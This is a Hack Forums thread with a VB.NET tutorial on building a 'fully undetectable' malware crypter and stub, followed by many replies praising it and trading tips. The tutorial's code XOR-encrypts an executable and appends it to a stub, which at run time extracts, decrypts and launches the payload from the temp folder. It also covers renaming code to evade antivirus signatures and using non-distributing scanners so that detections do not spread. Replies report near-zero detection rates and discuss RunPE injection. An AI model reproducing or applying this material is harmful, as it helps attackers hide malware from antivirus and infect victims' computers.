

Forum:[Hack Forums](#)

Thread: [How To Create an Undetectable Crypter & Stub + FUD](#)

Yorkiebar15 - July 22, 2014, 7:02 am

Welcome HF, to my tutorial thread on how to create an Undetectable (UD) crypter, with extension on how to make it Fully Undetectable (FUD).

You will need;
Visual Studio - I'm using Ultimate 2013
Ten minutes for the basic UD crypter.
Ability to think out of the box for FUD purposes.

Basic Crypter;
So there are two parts to every crypter, the builder (which I'm just calling the 'crypter') and the stub.

Before we start, we want to create three string variables to hold the paths for the original file to be crypted, the stub, and the save path for the crypted file later...

The crypter/builder is first going to take two file paths from the user through simple OpenFileDialog boxes, the first one will point to the file to crypt, and the second will point to the stub to use in the crypted file...

Then the user will input a save path for the crypted file...

```
Code Using fo As New SaveFileDialog()  
    fo.RestoreDirectory = True  
    fo.filter = "Executable *.exe|*.exe"  
    If Not fo.FileName = Nothing Then saveFile = fo.FileName  
End Using
```

Next the crypter will run a private function which is going to crypt our original file, call this 'starter'...

In our new 'starter' function, we are first going to read the bytes of our original, unencrypted file...

```
Code Private Function starter()  
    Dim originalFileContents As String = Nothing  
    Dim stub As String = Nothing  
    Dim originalBytes() As Byte = My.Computer.FileSystem.ReadAllBytes(originalFile)  
End Function
```

These bytes are now stored in to an array named 'originalBytes', we'll then use 'Encoding.Default.GetString' to convert those bytes in to a string named 'originalFileContents'...

We'll then do the same thing with our stub file...

Ok. So now we simply need to build our file. First we write the stub contents (string) of the binary (.exe) file, then we write a special 'FileSplit' string (in my case, it's '@splitter@') and finally we write the original file contents...

```
Code My.Computer.FileSystem.WriteAllBytes(saveFile,  
System.Text.Encoding.Default.GetBytes(originalStubContents & "@splitter@" &  
originalFileContents), False)  
Done.
```

Basic Stub;

For the stub, keep the following in mind;

When it is ran, after being crypter, it will contain the content we are about to write, plus a file splitting string, plus the original file contents. So...

First we want to get the current executable path (of the stub itself)...

```
Code Dim myPath As String = Application.ExecutablePath  
Then we read all the bytes of the current file in to a new byte array...
```

Next we convert that byte array in to a string...

Here we have the current file contents. Now, we know that it consists of; original file source code, splitting string, stub source code. So we want to create a string array and set it equal to the splitting of our current file, by the splitting string. NOTE: The splitting string that you put here, must be the same as in the crypter/builder!

```
Code Dim mySplits As String() = Split(myStrings, "@splitter@")  
Now the indexes should be;  
0 - Stub  
1 - Original File
```

So now we could, as an additional step for easier recognition for future development, create a separate string variable for our original file contents (index 1 of our new 'mySplits' string array via the 'Split' function)...

So next we want to simply write out our original file, and execute it...

```
Code My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe",  
Encoding.Default.GetBytes(originalContents), False)  
Process.Start(System.IO.Path.GetTempPath & "temp1928.exe")  
Testing;
```

Now we want to test our code; build both the solutions, and run the builder/crypter's .exe - select the file to crypt in the first OpenFileDialog box, the stub in the second, and any save path (.exe) in the third box. If you receive a .exe in your save path which has more than 0-5KB, run it and see if it works. If it doesn't work, it says it's corrupted, or it has nothing written inside of it, you may need to perform debugging (output certain variables, double check the file splitter is correct for both solutions, and make sure you selected the files within the dialog boxes in the correct order).

Notice;

If you have tested it, and it is working, you may notice that if you scan your crypted file now, it still has the same amount, if not more, detections as your original file. That is because we haven't yet added any form of cryptography to it. I just wanted to throw the basics at your first, so you can double check that it is working before you get in to the slightly more complicated stuff.

Also, you may need to add the following imports for either/both of the solutions;

System.Text

System.IO

System.Windows.Forms

...To add System.Windows.Forms, you may also need add a reference to 'System.Windows.Forms' by right clicking on your project in the 'Solution Explorer' and selecting 'Add...' > 'Reference'.

Builder;

So to add cryptography algorithms to our crypter, it's fairly simple. We keep all the code we have just written, and simply encrypt the original file source code before writing the save path file from the builder, and we decrypt the original file's source code in the stub before we generate the temporary file to be ran. Simple!

I will be using XOR for this example, you can use any other algorithms you can find, I may provide a link at the bottom of this post.

First add your algorithm to both of your solution files, the builder, and the stub...

```
Code Public Function XOR(ByVal CodeKey As String, ByVal DataIn As String) As String
```

```
    Dim IonDataPtr As Long
```

```
    Dim strDataOut As String
```

```
    Dim intXOrValue1 As Integer
```

```
    Dim intXOrValue2 As Integer
```

```
    For IonDataPtr = 1 To (Len(DataIn) / 2)
```

```
        intXOrValue1 = Val("&H" & (Mid$(DataIn, (2 * IonDataPtr) - 1, 2)))
```

```
        intXOrValue2 = Asc(Mid$(CodeKey, ((IonDataPtr Mod Len(CodeKey)) + 1), 1))
```

```
        strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
```

```
    Next IonDataPtr
```

```
    Return strDataOut
```

```
End Function
```

Then in the builder, encrypt the original file source code before you create/write the new, crypted, .exe binary file...

```
Code My.Computer.FileSystem.WriteAllBytes(saveFile,
```

```
System.Text.Encoding.Default.GetBytes(originalStubContents & "@splitter@" & XOR("passphrase", originalFileContents)), False)
```

And in the stub, decrypt the original file source code before you create/write the temporary, unencrypted .exe binary file...

```
Code My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe",  
Encoding.Default.GetBytes(XOR("passphrase", originalContents)), false)  
Done!
```

FUD;

To make your crypter more FUD, or at least, more UD, you must be able to think outside of the box. Anti Virus programs detect crypters and crypted files by looking for patterns within the source code and other methods (at least, this is the basic understanding of how it all works). So if the same crypters all use the exact same line of;

and that's what the AV's are all looking for, it is a highly likely chance that all the crypters will get detected. So here are some methods;

Work Arounds;

Try to use different work arounds, bypasses, and methods for almost all of your crypter functionality, this goes for the stub too. If, like above, you have the exact same code as I have just given you from my 2/35 detected crypter, all the AV's will start detecting that code much, much quicker than they would if just I had that code (although other people almost definitely already have similarities already). So, as an example, maybe you could change;

```
Code My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe",  
originalContents, False)  
to;
```

```
Code My.Computer.FileSystem.WriteAllBytes(externallyCreatedPathVariable,  
differentContentsVariable, OtherBooleanEquallingFalse)
```

Algorithms;

Some algorithms (such as 'XOR') are more detected than other algorithms. Maybe try changing your algorithm a few times and see what works best for you with different AV's. Some others to research are; Blowfish, RC4, and 3DES.

Strings;

As stated before, AV's use source code to recognise malicious files, so why not alter your code from other peoples source code by encrypting/changing your variable and function names, this means the AV's won't be able to as easily detect that your files are similar to other malicious files. For example, you could change;

to;

Please note; you must change all of the occurrences of the currently being replaced word. So, I've replaced the function name, and both parameter names as variables, so I must change the function name itself (and other calls) from 'XOR' to 'RW5jcnlwdA' - same goes for everything else.

Assembly Information;

The final piece of FUD advice I will give to you is, to add assembly information. Some AV's use this information as verification of binary files, so ensure that your application has assembly;

Titles,
Descriptions,
File Versions,
Icons,
etc.

Scanning;

When you think you've finished, and you're ready to scan your crypted file(s), do NOT use;
Your own AV
VirusTotal

Why? Because scanning it on your own AV will make your AV on other people PC's, as well as your own, detect your currently* crypted stub much faster. And VirusTotal distribute the scan results to ALL the Anti Virus programs listed, therefore making them all detect your stub eventually.

You should use non-distributing scanners, such as;
FuckingScan.Me
Scan.Majyx.Com
RazorScanner.Com

That's all!

Updates;

Open/Save FileDialog filters added ~ TheBarret
Fixed minor variable name mismatch ~ Folding

Warning;

Some people have been having problems with their crypter hanging/crashing/freezing. Follow the below steps if you are having similar problems;

Remove the XOR encryption algorithm from both the crypter and the stub. Test again. If it works, use another algorithm such as 'RC4'.

Without an encryption algorithm, the encrypted file should be the size of the original file + the stub size. If it is too high or too low, you are not reading/writing the data properly.

Conclusion;

If you liked this tutorial, and would like me to post more, please leave a reply to keep this thread active. If you are the owner of a compilation thread and would like add this to your list, feel free to add it and please PM me so I can see the list,

Thanks!

zeroexp - July 22, 2014, 7:03 am

This is surprisingly not copied from somewhere else :D Good job mate. I'll look at this later.

SIM-1725686 - July 22, 2014, 7:19 am

This is literally the same method I use in C# when I was write a crypter.

I like your detailed explanation, good job.

Cesar Morales - July 22, 2014, 7:21 am

Excellent job :) - I think this will definitely help out a lot of people. Thanks for helping the community.

+3 to you <3

h4xer - July 22, 2014, 7:24 am

excellent job mate ;) will take a look at this later.

TheBarret - July 22, 2014, 7:25 am

Little addition of the OpenFileDialog & SaveFileDialog classes,

Perhaps you didn't know, but they accept filters for file types,

Example:

Code dialog.filter = "Executable *.exe|*.exe|Dynamic Link Library *.dll|*.dll"

And so so you can add that as well ^^

kopuz - July 22, 2014, 7:33 am

That's excellent dude, thanks for your time writing this up the information is very useful.

IAmNotHere - July 22, 2014, 7:35 am

Great tutorial!

Does temp1928 mean something to you?

Huskar - July 22, 2014, 8:19 am

Great tutorial !

Very detailed !

-wutang

Yorkiebar15 - July 22, 2014, 8:28 am

(Jul 22, 2014 07:35 AM)IAmNotHere Wrote: [\[CITE\]](#) Great tutorial!

Does temp1928 mean something to you?

Thanks for the feedback. 'Temp1928' doesn't mean anything to me, just used it as there are probably not many other programs out there that would use that name, feel free to use any name you like.

(Jul 22, 2014 07:25 AM)TheBarret Wrote: [\[CITE\]](#) Little addition of the OpenFileDialog & SaveFileDialog classes,

Perhaps you didn't know, but they accept filters for file types,

Example:

Code dialog.filter = "Executable *.exe|*.exe|Dynamic Link Library *.dll|*.dll"

And so so you can add that as well ^^

Good point. I have used Filters before, just didn't think to add them for this project. Added to post, thanks for the feedback :)

(Jul 22, 2014 07:21 AM)A?tro Wrote: [\[CITE\]](#) Excellent job :) - I think this will definitely help out a lot of people. Thanks for helping the community.

+3 to you <3

Thanks for feedback & rep. <3 to you too :)

Scramble - July 22, 2014, 10:20 am

Amazing tutorial! Huge fucking vouch for you Yorkie <3

f?ck?ou - July 22, 2014, 12:11 pm

Tutorial looks well written, but I recommend taking pictures of the actual code and posting that image so it's not just able to be copied.

Yorkiebar15 - July 22, 2014, 12:35 pm

(Jul 22, 2014 12:11 PM)f?ck?ou Wrote: [\[CITE\]](#) Tutorial looks well written, but I recommend taking pictures of the actual code and posting that image so it's not just able to be copied.

I was debating doing that. Think I will add it when I have time. Thanks for the feedback.

Folding - July 22, 2014, 1:09 pm

I needed a bit of help and within 10 minutes he got back to me and everything is up and working again. Appreciate everything man.

Malcolm???????????????? - July 22, 2014, 2:04 pm

This thread surprised me, expecting c+p but got originality.

GJ OP
+1 rep :)

tweety - July 22, 2014, 2:08 pm

You're using String.Split()? Everything you are doing is around 10 years old. Nobody uses these methods anymore, It's only something cypypasta's or people who actually have no idea what they are doing do. No offence, but I think this is garbage even though you tried. This will help nobody.

GenericSkid - July 22, 2014, 2:10 pm

(Jul 22, 2014 12:11 PM)f?ck?ou Wrote: [\[CITE\]](#) Tutorial looks well written, but I recommend taking pictures of the actual code and posting that image so it's not just able to be copied.

The problem with this is that pictures always end up missing after a few years. Almost every old thread with pictures is totally un-usable. But in the meantime it does prevent a majority of the skidding.

Edit: Skimmed through the post. Tweety is right on the bits where this isn't anything new, but it's a nice compilation for those new to the topic. The harshness was a bit uncalled for.

Yorkiebar15 - July 22, 2014, 2:24 pm

(Jul 22, 2014 02:08 PM)Tweety. Wrote: [\[CITE\]](#) You're using String.Split()? Everything you are doing is around 10 years old. Nobody uses these methods anymore, It's only something cypypasta's or people who actually have no idea what they are doing do. No offence, but I think this is garbage even though you tried. This will help nobody.

While I agree that this tutorial doesn't bring anything new to the table, it's not 'cypypasta'. Someone with your 'expertise' wouldn't find this helpful, it doesn't mean it's useless - only to you.

tweety - July 22, 2014, 2:27 pm

(Jul 22, 2014 02:24 PM)Yorkiebar15 Wrote: [\[CITE\]](#) While I agree that this tutorial doesn't bring anything new to the table, it's not 'cypypasta'. Someone with your 'expertise' wouldn't find this helpful, it doesn't mean it's useless - only to you.

No offence, but I have seen many people like you in this section. Learning correctly is always the best option, not something like this. Your code isn't optimized as well and does not follow standard coding conventions, you might want to roll will option strict on as well.

Filisko - July 22, 2014, 2:28 pm

man, just take screenshot of the code, this is going to be fucked up if you dont

Yorkiebar15 - July 22, 2014, 2:50 pm

(Jul 22, 2014 02:28 PM)Filisko Wrote: [\[CITE\]](#) man, just take screenshot of the code, this is going to be fucked up if you dont

Done. Although could only have 15 images while I had 23 code tags... xD

Grudgeee - July 22, 2014, 3:25 pm

Been looking for a good explanation for a while, thanks man. Well written in my opinion.

DeMoNi - July 22, 2014, 4:06 pm

Well explained, however you didn't mention the injection part using a RunPE ^^

And an another little explanation to those who might be interested, you will have to another way to store the encrypted payload into the stub, because just happening the content at the end of the stub will throw a bunch of detections, get a look into how native/managed resources work, and executable sections.

+Haze - July 22, 2014, 5:11 pm

(Jul 22, 2014 02:50 PM)Yorkiebar15 Wrote: [\[CITE\]](#) Done. Although could only have 15 images while I had 23 code tags... xD

I hope the noobs use OCR to read text instead of typing it out.

Yorkiebar15 - July 22, 2014, 5:18 pm

(Jul 22, 2014 05:11 PM)+Haze Wrote: [\[CITE\]](#) I hope the noobs use OCR to read text instead of typing it out.

Well, I was undecided whether to put images or just code blocks in. But already two of the images have broken which I've replaced with code blocks. As more go, I'll just add back in the code blocks.

24/7 - July 23, 2014, 5:07 am

Genius user, makes screens of the code sections so users don't copy it. Also, one of the most HQ tutorial I've ever seen on HF, will try it out myself too. I wish there were more users like you in this community.

-24/7 ?

Yorkiebar15 - July 23, 2014, 2:44 pm

(Jul 23, 2014 05:07 AM)24/7 Wrote: [\[CITE\]](#) Genius user, makes screens of the code sections so users don't copy it. Also, one of the most HQ tutorial I've ever seen on HF, will try it out myself too. I wish there were more users like you in this community.

-24/7 ?

Always nice to hear such positive feedback. Appreciated.

Edward Kenway - July 23, 2014, 2:58 pm

Great tutorial! Well made. More threads like this zre needed.

Hopsin - July 23, 2014, 3:00 pm

(Jul 22, 2014 12:35 PM)Yorkiebar15 Wrote: [\[CITE\]](#) I was debating doing that. Think I will add it when I have time. Thanks for the feedback.

An picture based tutorial would improve your thread quality by a lot!

turkish-hacker - July 23, 2014, 3:02 pm

Very good tutorial, thanks for sharing :)

Tostig - July 23, 2014, 6:28 pm

Wow. You know your shit. Great job on this tutorial, I hope to see more from you.

NyxCoder - July 24, 2014, 12:06 am

excellent job mate ;) will take a loot at this later.

Seer - July 24, 2014, 12:28 am

Found this really informative, great job on the explanations OP!

lordpros - July 24, 2014, 12:54 am

just little modifications to crypter and it worked flawlessly :-D thanks! (detection rate 1/60 - HATE AVIRA!)

Yorkiebar15 - July 24, 2014, 4:30 am

(Jul 24, 2014 12:54 AM)lordpros Wrote: [\[CITE\]](#) just little modifications to crypter and it worked flawlessly :-D thanks! (detection rate 1/60 - HATE AVIRA!)

Good to see the low detection rate you have - I also had problems with Avira. Please PM me with the 'little modifications' you had to make to the crypter.

Thanks.

24/7 - July 24, 2014, 5:33 am

Shouldn't 'stub' be originalstubcontents here? ~

<https://gyazo.com/dc994390c6676322a63d768d4bf1b963>

- Not sure about it tho :P

steve3aus - July 24, 2014, 6:19 am

thanks for the thread some good reading for me to do !

Yorkiebar15 - July 24, 2014, 6:26 am

(Jul 24, 2014 05:33 AM)24/7 Wrote: [\[CITE\]](#) Shouldn't 'stub' be originalstubcontents here? ~

<https://gyazo.com/dc994390c6676322a63d768d4bf1b963>

- Not sure about it tho :P

Yeh. I'm 99% sure I changed that (as stated in the 'Updates' section of the thread). But since I don't have L33t/Ub3r I can't re-edit it now... Fuuuu. I might invest in L33t soon, if I do, I'll update the thread. Thanks for the spot.

Acren - July 24, 2014, 6:58 am

This is a Great release.

I don't think I have ever seen a Cryptography Guide like this.

Well Done.

?

programtesting28 - July 25, 2014, 4:51 am

wow, great tutorial :D

can i have the sample project please ? ?

Yorkiebar15 - July 25, 2014, 5:32 am

(Jul 25, 2014 04:51 AM)programtesting28 Wrote: [\[CITE\]](#) wow, great tutorial :D

can i have the sample project please ? ?

Thanks for the feedback.

I don't have the project files from the tutorials any more - I've modified them for my own use - but if you type out the code from the thread and read as you go along, you will learn a lot more.

Nervo - July 25, 2014, 5:45 am

Nice tutorial for begginers. No offense, but this is kinda useless since it's only scantime.

Yorkiebar15 - July 25, 2014, 7:14 am

(Jul 25, 2014 05:45 AM)Darko155 Wrote: [\[CITE\]](#) Nice tutorial for begginers. No offense, but this is kinda useless since it's only scantime.

It is only scantime, but it's still a crypter ;) Thanks for the feedback.

SIM-1456245 - July 25, 2014, 12:53 pm

WOW. No comment. This is the probably best tutorial made for crypters yet. Leave the haters alone that say that there are tutorials like this everyday. This is in my opinion not copied. Vouch for this.

[KE]Helios - July 25, 2014, 3:01 pm

Really nice, great job and well explained for starter people. ?

steve3aus - July 26, 2014, 5:38 am

I have been searching every where to try and work out how to re fud my own stub , so this is worth the read , thanks !

Yui Asuna - July 26, 2014, 5:41 am

(Jul 25, 2014 12:53 PM)Electroalek Wrote: [\[CITE\]](#) WOW. No comment. This is the probably best tutorial made for crypters yet. Leave the haters alone that say that there are tutorials like this everyday. This is in my opinion not copied. Vouch for this.

This may not be copied, indeed, and I thank you, OP, for this tutorial.

Never the less, many things are wrong in it. Like the use of My.Computer.FileSystem instead of the System.IO library.

I guess I'll not flame, and just say thanks again, since you clearly took time to write that.

Farcryman - July 26, 2014, 5:43 am

Thanks its great tutorial :) It helped me to uderstand to crypters

Yorkiebar15 - July 26, 2014, 6:27 am

(Jul 26, 2014 05:41 AM)Yui Asuna Wrote: [\[CITE\]](#) This may not be copied, indeed, and I thank you, OP, for this tutorial.

Never the less, many things are wrong in it. Like the use of My.Computer.FileSystem instead of the System.IO library.

I guess I'll not flame, and just say thanks again, since you clearly took time to write that.

Appreciated. Although, a tutorial is not meant to be the final product, people using this tutorial should always look for ways to improve the code to make it more efficient, add more features, etc.

Advanced Nutrients - August 19, 2014, 12:47 pm

Hi, let me begin by saying I'm new at VB.NET. The tutorial was easy to follow and I completed it until I reached the stub part. I'm a bit confused on how to create it. Any chance you could explain or link me to some more specific tutorials?

Yorkiebar15 - August 19, 2014, 2:43 pm

(Aug 19, 2014 12:47 PM)cmd. Wrote: [\[CITE\]](#) Hi, let me begin by saying I'm new at VB.NET. The tutorial was easy to follow and I completed it until I reached the stub part. I'm a bit confused on how to create it. Any chance you could explain or link me to some more specific tutorials?

For the explanation of the stub, it basically just reads itself using it's current location, and then extracts the information from itself using the splitter string we used in the crypter. Take this example;

Crypter crypts the following information;
User &spiltter& Pass &spiltter& The stub code we created.

Now, when the stub runs, it gets the entire information (all of the bytes) of itself, and extracts the above information using the same splitting string, so it would end up with the following information;
User
Pass
Stub code we created.

Once the stub has extracted the information, it is free to use it. This is essentially what we're doing, except we're putting the stub code first, followed by the encrypted file we want to be decrypted. The stub then uses the second part (the crypted contents) to decrypt it and place/run it from a new file location.

As for the code, it's all in the thread.

Advanced Nutrients - August 19, 2014, 3:31 pm

(Aug 19, 2014 02:43 PM)Yorkiebar15 Wrote: [\[CITE\]](#) For the explanation of the stub, it basically just reads itself using it's current location, and then extracts the information from itself using the splitter string we used in the crypter. Take this example;

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As for the code, it's all in the thread. Okay, awesome? Also, do I create stub code in it's own solution, or use the same one?

Yorkiebar15 - August 19, 2014, 3:40 pm

(Aug 19, 2014 03:31 PM)cmd. Wrote: [\[CITE\]](#) Okay, awesome? Also, do I create stub code in it's own solution, or use the same one?

Create a new solution. If you have any more questions, feel free to PM me :)

Advanced Nutrients - August 19, 2014, 3:46 pm

(Aug 19, 2014 03:40 PM)Yorkiebar15 Wrote: [\[CITE\]](#) Create a new solution. If you have any more questions, feel free to PM me :) Thanks, will do when I reach 25 posts.?

hackersallin - August 20, 2014, 3:18 am

Really really awesome job at writing this Tutorial dude! +1 for you :D

Yorkiebar15 - August 20, 2014, 5:24 am

(Aug 20, 2014 03:18 AM)hackersallin Wrote: [\[CITE\]](#) Really really awesome job at writing this Tutorial dude! +1 for you :D

Thanks for the positive feedback & rep, means a lot ?

freeman_110 - August 20, 2014, 7:01 am

i m new in vb.net,

when i tried to make stub it gives me erro

Code System.IndexOutOfRangeException was unhandled

HResult=-2146233080

Message=Index was outside the bounds of the array.plz give a little more details on Sub.
espacialy on this paragraph

Code Now the indexes should be;

0 - Stub

1 - Original File

So now we could, as an additional step for easier recognision for furture development, create a separate string variable for our original file contents (index 1 of our new 'mySplits' string array via the 'Split' function)...

[Image: 6c3cc57e5e7abfb85b945a4a35eb27b3.png]

Yorkiebar15 - August 20, 2014, 7:43 am

(Aug 20, 2014 07:01 AM)freeman_110 Wrote: [\[CITE\]](#) i m new in vb.net,

when i tried to make stub it gives me erro

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So now we could, as an additional step for easier recognision for furture development, create a separate string variable for our original file contents (index 1 of our new 'mySplits' string array via the 'Split' function)...

[Image: 6c3cc57e5e7abfb85b945a4a35eb27b3.png]

From your error it looks as if your stub isn't being split properly (are you sure you're using the EXACT (same capitals, symbols, letters, numbers, spacing, etc) splitting string as in your crypter application?).

As for the explanation, we're just making an array of strings from our current stub application's string (read all bytes > string) by splitting via our splitting string. For example, the line;

Code This is a sentence.

Split by the delimiter of a space (' '), would turn the above sentence in to an array of the following words;

Code This

is

a

sentence.

CottleSilver - August 20, 2014, 7:57 am

Greate tutorial, took me a while to read it all and code something with it but it works more or less (and by less I mean that I never seen a crypter that could bypass kaspersky internet security completely without the user suspecting a thing)

Private Network - August 20, 2014, 9:25 am

Thanks for this tutorial I will learn from this!

jessman420 - August 20, 2014, 1:28 pm

Nice tutorial. I see you put quite a bit of time in it, although I have to be honest you lost me the first time I saw filesplits, EOF is detected by everything, especially when storing a large string.

I am sure however that many will be able to use this to get started on their first crypter.

Yorkiebar15 - August 20, 2014, 1:32 pm

(Aug 20, 2014 01:28 PM)jessman420 Wrote: [\[CITE\]](#) Nice tutorial. I see you put quite a bit of time in it, although I have to be honest you lost me the first time I saw filesplits, EOF is detected by everything, especially when storing a large string.

I am sure however that many will be able to use this to get started on their first crypter.

Thanks for the feedback. The tutorial is only meant for people to begin creating their own crypters. As mentioned towards the end of the tutorial, there are a lot of work arounds, etc that need to be done for FUD status.

Xervo - August 21, 2014, 3:25 am

Excellent Job! Thank You for posting.....

mehere - August 21, 2014, 5:38 am

Thanks for this tut, I've book marked it for some further messing later ;)

Lumia - August 21, 2014, 6:00 am

Thank you for this tutorial,i will create one later :P :)

zeroexp - August 21, 2014, 11:53 am

I have a problem, for some reason when I click the crypt button it just freezes. Did everything as you said. Can somebody help me out maybe? PM me..

Advanced Nutrients - August 21, 2014, 1:03 pm

(Aug 21, 2014 11:53 AM)Wops Wrote: [\[CITE\]](#) I have a problem, for some reason when I click the crypt button it just freezes. Did everything as you said. Can somebody help me out maybe? PM me..

I had the same issue when using XOR. I pm'd Yorkie and he replied quickly, and after an hour of PMing we couldn't find a solution. But he recommended to try a different encryption type, which worked out great. I would check out some threads on how rc4 work.

Madara-Uchiha - August 21, 2014, 1:44 pm

Pretty nice tutorial. Well written.
Good job!:)

Worthless - February 21, 2015, 8:14 pm

Awesome, i havent found a clearer guide ! Could it be possible to use 2 encryptions or more though ? and would it be any better ?

Vuln - February 21, 2015, 8:20 pm

(Feb 21, 2015 09:14 PM)Worthless Wrote: [\[CITE\]](#) Awesome, i havent found a clearer guide ! Could it be possible to use 2 encryptions or more though ? and would it be any better ?
All that's important is file size and decryption speed. Not security. So no, it would make it worse.

xDestox - February 21, 2015, 8:25 pm

lal nice hella good i will try this asap

Worthless - February 22, 2015, 6:20 pm

Is this a runtime crypter or simply a scantime crypter ? Will my client be detected when the stub gets ran ?

Dzoks1 - February 24, 2015, 4:40 am

Is this crypter Scantime OR Scantime & Runtime?
Thanks for tutorial.

nazist - February 24, 2015, 5:57 am

(Feb 24, 2015 05:40 AM)Dzoks1 Wrote: [\[CITE\]](#) Is this crypter Scantime OR Scantime & Runtime?
Thanks for tutorial.
scantime man ??
For me i have see this method befo
and i made crypter with it

Dzoks1 - February 24, 2015, 8:09 am

(Feb 24, 2015 06:57 AM)nazist Wrote: [\[CITE\]](#) scantime man ??
For me i have see this method befo

and i made crypter with it
I also made crypter, but server is not working with this encryption ?

Adderall - March 3, 2015, 2:27 pm

Nice tuturial about crypters I didn't know much about them but I know more about them now.
?

SIM-1456245 - March 3, 2015, 3:23 pm

Idk how old this is, but I loove the trick with the screenshot'd code tags.

iLogic™ - March 4, 2015, 8:25 am

It is not working for me... Here is my project www55_zippyshare_com/v/n6CUIhad/file.html (replace _ with .)
Can somebody help me?

Optimusvn - May 19, 2015, 3:29 am

thank you! i learned a lot from this tutorial!

xVipX - May 19, 2015, 1:00 pm

Great tutorial !
good job MAN (y)

Xer-Xes - May 20, 2015, 12:35 am

super tutorial! described in great detail

the next step is runtime fud

Elmar2001 - May 20, 2015, 12:50 am

hey can anyone share it in project ?

Odus - May 20, 2015, 1:29 am

(May 20, 2015 12:50 AM)Elmar2001 Wrote: [\[CITE\]](#) hey can anyone share it in project ?
I'm afraid you're just going to have to copy and paste. Oh, the labor!

Elmar2001 - May 20, 2015, 1:42 am

(May 20, 2015 01:29 AM)Odus Wrote: [\[CITE\]](#) I'm afraid you're just going to have to copy and paste.
Oh, the labor!
Sorry there are a lot of words I can't understand english very well :/

Skz. - May 20, 2015, 4:35 am

Thanks for the awesome work you did !
+ You can use this class to encrypt and decrypt your strings/stub :
<https://hapshack.eu/cryptpast/#!/paste/6cb2f84a> (password: rsa)

Transporter007 - May 20, 2015, 10:00 am

Nice tutorial.

Keep up the good work.

blu3 - May 20, 2015, 10:39 am

Nice tutorial man. Well written.

Shadow Reign - May 20, 2015, 7:19 pm

Very nice tutorial. This should be stickied in my opinion ?

proProgrammer - May 23, 2015, 9:40 am

Lovely tutorial!! Thanks.

(Jul 22, 2014 07:19 AM)xdfty37dr3 Wrote: [\[CITE\]](#) This is literally the same method I use in C# when I was write a crypter.

I like your detailed explanation, good job.
Please can you post some code achieving this in c#.

CobraEffect - May 30, 2015, 7:59 am

Nice Job! you helps lot of people :)= +

NicholasGhostP45 - May 30, 2015, 12:39 pm

Can you post or PM me a download link? Because i get alot of errors and i dont quite understand where to put the codes (just started vb)... I would appreciate it.

DuguWudi - May 30, 2015, 12:43 pm

Nice tutorial, if only theres one for autoit too.

Thank you.

Zilog80 - June 7, 2015, 2:48 pm

What is the pourpose for doing all these stuff?.
Someone said Resources?

I really can not understand why you need yo "join" a file for un-joined later to generate a 'temp' file...

Why you dont use a resource file? You can do the same without reinventing the wheel (i think)

NotoriousWalrus - June 13, 2015, 8:03 pm

Will do the checkouts, hopefully there are no errors :D

OffCode - June 30, 2015, 2:16 pm

Ohh! Thats awesome tutorial man! Helps lot! :)

zurasaur - July 2, 2015, 8:14 am

vry nice thread, its a good balance of copy paste and needing to have a decent knowledge of the basics to actually create, good job. many will learn from this.

evarand123 - July 2, 2015, 8:24 am

Thanks ill try it out on my computer when i get on it plus thanks for the share

how do you get the gui ? in vb.net or do you make ti manually

how do you get the gui ? in vb.net or do you make ti manually

mhnasoe - July 4, 2015, 11:37 am

nice tut my friend vouch for you

Panatkorn - July 7, 2015, 3:31 am

(Jul 2, 2015 08:24 AM)evarand123 Wrote: [\[CITE\]](#) Thanks ill try it out on my computer when i get on it plus thanks for the share

how do you get the gui ? in vb.net or do you make ti manually

how do you get the gui ? in vb.net or do you make ti manuallyThere are many free online try to search on google VB.NET Theme

moosa666 - July 8, 2015, 1:00 am

Thanks for the great tut man lol very soon alot of crypters will surface

mhnasoe - July 8, 2015, 2:37 am

excellent job mate ;) will take a loot at this later.

RedBull™ - July 8, 2015, 5:56 am

I would say , this is one of the best TUTORIAL for all new developers trying to create their own cryptor.

Very detailed explanation. Good Job !

kookkookoo3 - July 14, 2015, 3:57 pm

Actually this is awesome!

Thanks very informative Tutorial!

Slachter - July 15, 2015, 9:20 am

Source code please? I need it for some special project.

St?lk?r - July 15, 2015, 10:00 am

(Jul 15, 2015 09:20 AM)Slachter Wrote: [\[CITE\]](#) Source code please? I need it for some special project.

Write it your own and dont do copy & paste? :) Its the best way to understand & learn it ?

Wrekonize - August 5, 2015, 3:21 pm

That's a pretty cool tutorial and must be thumbed up again !

naaxt420 - August 9, 2015, 6:03 am

Awesome thread, thank you! :P

Toby Allen John - August 9, 2015, 6:14 am

Wow, OP is genius. Never thought a crypter could be made through that program.
Vouch.

Edit: (Although I've been gone from HF for like 6 mo.)

xHipster - August 11, 2015, 5:32 pm

Thanks for the tutorial, got everything working.

Now it's time for me to find different encryption algorithms and work on undetecting the stub.

superpengie - August 12, 2015, 9:25 pm

Nice dude good job ! cool tool ! going to check it out :D